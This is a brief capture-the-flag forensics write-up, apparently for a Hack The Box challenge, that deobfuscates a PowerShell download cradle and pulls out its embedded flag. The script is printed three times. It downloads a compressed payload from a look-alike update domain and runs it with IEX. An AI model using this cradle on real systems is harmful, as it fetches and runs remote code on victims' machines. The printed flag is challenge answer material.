<- FORENSICS

Alien Cradle

1 minute to read

We are given a PowerShell script called cradle.ps1:

if([System.Security.Principal.WindowsIdentity]::GetCurrent().Name -ne 'secret_HQ\Arth'){exit};$w = New-Object net.webclient;$w.Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;$d = $w.DownloadString('http://windowsliveupdater.com/updates/33' + '96f3bf5a605cc4' + '1bd0d6e229148' + '2a5/2_34122.gzip.b64');$s = New-Object IO.MemoryStream(,[Convert]::FromBase64String($d));$f = 'H' + 'T' + 'B' + '{p0w3rs' + 'h3ll' + '_Cr4d' + 'l3s_c4n_g3t' + '_th' + '3_j0b_d' + '0n3}';IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

PowerShell deobfuscation

It is a bit obfuscated, let’s format it a bit:

if ([System.Security.Principal.WindowsIdentity]::GetCurrent().Name -ne 'secret_HQ\Arth') {
  exit
};

$w = New-Object net.webclient;
$w.Proxy.Credentials = [Net.CredentialCache]::DefaultNetworkCredentials;
$d = $w.DownloadString('http://windowsliveupdater.com/updates/33' + '96f3bf5a605cc4' + '1bd0d6e229148' + '2a5/2_34122.gzip.b64');
$s = New-Object IO.MemoryStream(, [Convert]::FromBase64String($d));
$f = 'H' + 'T' + 'B' + '{p0w3rs' + 'h3ll' + '_Cr4d' + 'l3s_c4n_g3t' + '_th' + '3_j0b_d' + '0n3}';
IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s ,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

Well, there are still some + signs on strings:

if ([System.Security.Principal.WindowsIdentity]::GetCurrent().Name -ne 'secret_HQ\Arth') {
  exit
};

$w = New-Object net.webclient;
$w.Proxy.Credentials = [Net.CredentialCache]::DefaultNetworkCredentials;
$d = $w.DownloadString('http://windowsliveupdater.com/updates/3396f3bf5a605cc41bd0d6e2291482a5/2_34122.gzip.b64');
$s = New-Object IO.MemoryStream(, [Convert]::FromBase64String($d));
$f = 'HTB{p0w3rsh3ll_Cr4dl3s_c4n_g3t_th3_j0b_d0n3}';
IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s ,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

Now it is fully deobfuscated, it will download some encoded/compressed payload and execute it.

Flag

What’s more important, the flag is right there:

HTB{p0w3rsh3ll_Cr4dl3s_c4n_g3t_th3_j0b_d0n3}